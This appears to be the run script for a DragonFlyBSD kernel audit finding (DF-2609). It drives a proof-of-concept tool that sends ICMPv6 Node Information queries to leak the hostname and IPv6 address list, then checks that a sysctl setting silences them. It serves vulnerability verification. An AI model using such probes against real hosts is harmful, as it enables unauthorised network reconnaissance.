DragonFlyBSD Kernel Audit
DF-2609 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2609 canonical run (as root on the DF guest)
# Expected: FQDN query -> hostname disclosure; NODEADDR -> full v6 inventory;
#           nodeinfo=0 -> silence (fix check); foreign addr -> silence.
set -x
hostname
sysctl net.inet6.icmp6.nodeinfo
ifconfig | grep inet6
cd /root/poc
./niq ::1 fqdn
./niq ::1 nodeaddr 002e
./niq 2001:db8::1 fqdn
./niq 2001:db8::1 nodeaddr 002e
./niq 2001:db8::99 fqdn
sysctl -w net.inet6.icmp6.nodeinfo=0
./niq ::1 fqdn
./niq ::1 nodeaddr 002e
sysctl -w net.inet6.icmp6.nodeinfo=1
./niq ::1 fqdn
./niq ::1 nodeaddr 002e
sysctl -w net.inet6.icmp6.nodeinfo=3
./niq -r 5 ::1 nodeaddr 002e | grep -E "REPLY|NODEADDR"